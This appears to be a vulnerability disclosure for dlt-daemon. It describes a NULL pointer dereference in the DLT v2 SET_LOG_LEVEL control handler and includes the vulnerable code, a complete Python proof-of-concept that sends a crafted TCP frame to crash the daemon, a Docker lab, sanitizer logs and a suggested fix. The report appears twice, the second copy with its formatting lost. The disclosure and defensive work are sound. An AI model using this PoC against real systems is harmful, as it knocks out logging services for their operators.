Summary
In DLT v2 runtime mode (-x 2), dlt-daemon control handler dlt_daemon_control_set_log_level_v2() dereferences pointers that can remain NULL when processing length fields.
The null-dereference path is reachable when apidlen > 0 or ctidlen > 0 with corresponding local pointer misuse.
This is not limited to raw malformed packets; it is also reachable through normal v2 control-flow usage because the vulnerable handler logic itself is incorrect.
In local reproduction, UBSan reported runtime error: load of null pointer of type 'char' at dlt_daemon_client.c:3703, and the daemon crashed (DoS).
Details
Affected component:
- package:
dlt-daemon
- component: control message processing (
SET_LOG_LEVEL v2)
- files:
src/daemon/dlt_daemon_client.c
src/shared/dlt_common.c
- tested daemon runtime mode:
-x 2 (DLT v2)
- default daemon runtime mode without
-x: DLT v1
- tested repository revision:
c45bdbe8c45b708955520d63dede1df3c8b5afb7
- validation date for tested revision:
2026-03-05
Root cause:
- Local pointers are initialized as
NULL (char *apid = NULL; char *ctid = NULL;).
dlt_set_id_v2(apid, ...) is called with apid == NULL; helper returns early and pointer remains NULL.
- Logic dereferences
apid[apid_length - 1] when apid_length != 0 and ctid == NULL.
Attack Preconditions
- Target daemon is running in DLT v2 mode (
-x 2).
- The attacker can send TCP control messages to the daemon endpoint (default test setup:
127.0.0.1:3490).
- Network path/firewall policy permits access to that endpoint.
- No effective authentication/filtering blocks unauthenticated control payloads before this handler.
- If the TCP listener is exposed beyond localhost, remote network attackers can trigger DoS.
Vulnerable Code (Exact Code Snippet)
Path: src/daemon/dlt_daemon_client.c:3660
void dlt_daemon_control_set_log_level_v2(int sock,
DltDaemon *daemon,
DltDaemonLocal *daemon_local,
DltMessageV2 *msg,
int verbose)
{
...
char *apid =NULL;
char *ctid =NULL;
...
apid_length = (int8_t) req.apidlen;
dlt_set_id_v2(apid, req.apid, req.apidlen);
ctid_length = (int8_t) req.ctidlen;
dlt_set_id_v2(ctid, req.ctid, req.ctidlen);
if ((apid_length != 0) && (apid[apid_length - 1] == '*') && (ctid == NULL)) { /*apid provided having '*' in it and ctid is null*/
...
}
...
}
Reference helper behavior:
Path: src/shared/dlt_common.c:414
void dlt_set_id_v2(char *id, const char *text, uint8_t len)
{
/* check nullpointer */
if ((id == NULL) || (text == NULL) || (len == 0))
return;
...
}
Full PoC Code
#!/usr/bin/env python3
import os
import socket
import struct
import time
HOST = os.environ.get("DLT_HOST", "127.0.0.1")
PORT = int(os.environ.get("DLT_PORT", "3490"))
DLT_SERVICE_ID_SET_LOG_LEVEL = 0x01
DLT_MSIN_CONTROL_REQUEST = 0x16
HTYP2 = 0x40 | 0x02 | 0x04 | 0x08 # protocol v2 + control + WEID + WACID
def build_control_frame(payload: bytes, apid: bytes = b"APP", ctid: bytes = b"CON", ecid: bytes = b"ECU1") -> bytes:
ext = bytes([len(ecid)]) + ecid + bytes([len(apid)]) + apid + bytes([len(ctid)]) + ctid
extra = bytes([DLT_MSIN_CONTROL_REQUEST, 1])
total_len = 7 + len(extra) + len(ext) + len(payload)
base = struct.pack("<IBH", HTYP2, 0, total_len)
return base + extra + ext + payload
def main() -> int:
# PoC payload for set_log_level_v2:
# apidlen=1 but daemon keeps local apid pointer NULL, then dereferences apid[0].
# Note: crash condition is rooted in handler logic and is reachable in normal v2 control paths.
payload = struct.pack("<I", DLT_SERVICE_ID_SET_LOG_LEVEL)
payload += b"\x01A" # apidlen=1, apid='A'
payload += b"\x00" # ctidlen=0
payload += b"\x01" # log_level=1
payload += b"remo" # com[4]
frame = build_control_frame(payload)
with socket.create_connection((HOST, PORT), timeout=3) as s:
s.settimeout(1.0)
s.sendall(frame)
# Keep connection open briefly so daemon can parse and process request.
try:
s.recv(4096)
except Exception:
pass
time.sleep(1.0)
print(f"[*] Sent malformed SET_LOG_LEVEL_V2 ({len(frame)} bytes) to {HOST}:{PORT}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Reproduction Docker Image (Full Dockerfile)
FROM debian:bookworm-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
cmake \
pkg-config \
python3 \
ca-certificates \
libasan8 \
libubsan1 \
libstdc++6 \
libgcc-s1 \
netcat-openbsd \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /src
COPY . /src
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_INSTALL_PREFIX=/opt/dlt \
-DDLT_IPC=UNIX_SOCKET \
-DDLT_USER_IPC_PATH=/ipc \
-DWITH_DLT_DEBUGGERS=OFF \
-DWITH_DLT_SYSTEM=OFF \
-DWITH_DLT_TESTS=ON \
-DWITH_DLT_USE_IPv6=OFF \
-DWITH_EXTENDED_FILTERING=OFF \
-DWITH_SYSTEMD=OFF \
-DWITH_SYSTEMD_WATCHDOG=OFF \
-DWITH_SYSTEMD_JOURNAL=OFF \
-DCMAKE_C_FLAGS="-fno-omit-frame-pointer -fsanitize=address,undefined" \
-DCMAKE_CXX_FLAGS="-fno-omit-frame-pointer -fsanitize=address,undefined" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
&& cmake --build build -j"$(nproc)" \
&& cmake --install build
WORKDIR /opt/lab
COPY security-lab/lab /opt/lab
ENV ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:halt_on_error=1
ENV UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
CMD ["/bin/bash"]
Reproduction Steps
- Build the lab image.
# current directory: security-lab (attachment root)
docker compose -f docker-compose.yml build dlt-lab
- Run isolated V2 reproduction.
docker compose -f docker-compose.yml run --rm dlt-lab bash -lc '
set -euo pipefail
daemon_log=/opt/lab/artifacts/V2.single.daemon.log
poc_log=/opt/lab/artifacts/V2.single.poc.log
: > "$daemon_log"
: > "$poc_log"
rm -f /ipc/dlt /ipc/dlt-ctrl.sock /tmp/dlt-ctrl.sock
/opt/lab/run-daemon.sh >"$daemon_log" 2>&1 &
pid=$!
ready=0
for i in $(seq 1 120); do
if ! kill -0 "$pid" 2>/dev/null; then break; fi
if [[ -S /ipc/dlt ]] && nc -z 127.0.0.1 3490 >/dev/null 2>&1; then
ready=1
break
fi
sleep 0.1
done
if [[ "$ready" -ne 1 ]]; then
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
exit 2
fi
python3 /opt/lab/pocs/poc_set_log_level_null_deref_v2.py >"$poc_log" 2>&1 || true
sleep 1
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
'
- Confirm null-dereference signature.
grep -E "runtime error: load of null pointer|dlt_daemon_control_set_log_level_v2" \
artifacts/V2.single.daemon.log
Trigger Success Evidence (Logs)
PoC send log:
Path: artifacts/V2.single.poc.log
[*] Sent malformed SET_LOG_LEVEL_V2 (34 bytes) to 127.0.0.1:3490
Runtime evidence:
Path: artifacts/V2.single.daemon.log
/src/src/daemon/dlt_daemon_client.c:3703:36: runtime error: load of null pointer of type 'char'
#0 ... in dlt_daemon_control_set_log_level_v2 /src/src/daemon/dlt_daemon_client.c:3703
Impact
- Vulnerability class: null pointer dereference.
- Practical impact: unauthenticated daemon crash (DoS) via control channel when DLT v2 mode is enabled.
- Scope note: deployments left on default DLT v1 mode are not on this v2-specific path.
Suggested Fix
- Replace
char *apid = NULL; char *ctid = NULL; with fixed local buffers (or allocated buffers) before calling dlt_set_id_v2().
- Validate
apidlen/ctidlen and guard all dereferences (apid != NULL, ctid != NULL) before index access.
- Do not use
apid == NULL / ctid == NULL as semantic checks for "ID omitted"; use length-based checks (apidlen == 0, ctidlen == 0) after safe copying.
- Add unit/regression tests for both malformed packets and regular
dlt_client_send_log_level_v2() API-driven requests.
Attachment
security-lab_v2.zip
Summary
In DLT v2 runtime mode (
-x 2),dlt-daemoncontrol handlerdlt_daemon_control_set_log_level_v2()dereferences pointers that can remainNULLwhen processing length fields.The null-dereference path is reachable when
apidlen > 0orctidlen > 0with corresponding local pointer misuse.This is not limited to raw malformed packets; it is also reachable through normal v2 control-flow usage because the vulnerable handler logic itself is incorrect.
In local reproduction, UBSan reported
runtime error: load of null pointer of type 'char'atdlt_daemon_client.c:3703, and the daemon crashed (DoS).Details
Affected component:
dlt-daemonSET_LOG_LEVELv2)src/daemon/dlt_daemon_client.csrc/shared/dlt_common.c-x 2(DLT v2)-x: DLT v1c45bdbe8c45b708955520d63dede1df3c8b5afb72026-03-05Root cause:
NULL(char *apid = NULL; char *ctid = NULL;).dlt_set_id_v2(apid, ...)is called withapid == NULL; helper returns early and pointer remainsNULL.apid[apid_length - 1]whenapid_length != 0andctid == NULL.Attack Preconditions
-x 2).127.0.0.1:3490).Vulnerable Code (Exact Code Snippet)
Path:
src/daemon/dlt_daemon_client.c:3660Reference helper behavior:
Path:
src/shared/dlt_common.c:414Full PoC Code
Reproduction Docker Image (Full Dockerfile)
Reproduction Steps
# current directory: security-lab (attachment root) docker compose -f docker-compose.yml build dlt-labgrep -E "runtime error: load of null pointer|dlt_daemon_control_set_log_level_v2" \ artifacts/V2.single.daemon.logTrigger Success Evidence (Logs)
PoC send log:
Path:
artifacts/V2.single.poc.logRuntime evidence:
Path:
artifacts/V2.single.daemon.logImpact
Suggested Fix
char *apid = NULL; char *ctid = NULL;with fixed local buffers (or allocated buffers) before callingdlt_set_id_v2().apidlen/ctidlenand guard all dereferences (apid != NULL,ctid != NULL) before index access.apid == NULL/ctid == NULLas semantic checks for "ID omitted"; use length-based checks (apidlen == 0,ctidlen == 0) after safe copying.dlt_client_send_log_level_v2()API-driven requests.Attachment
security-lab_v2.zip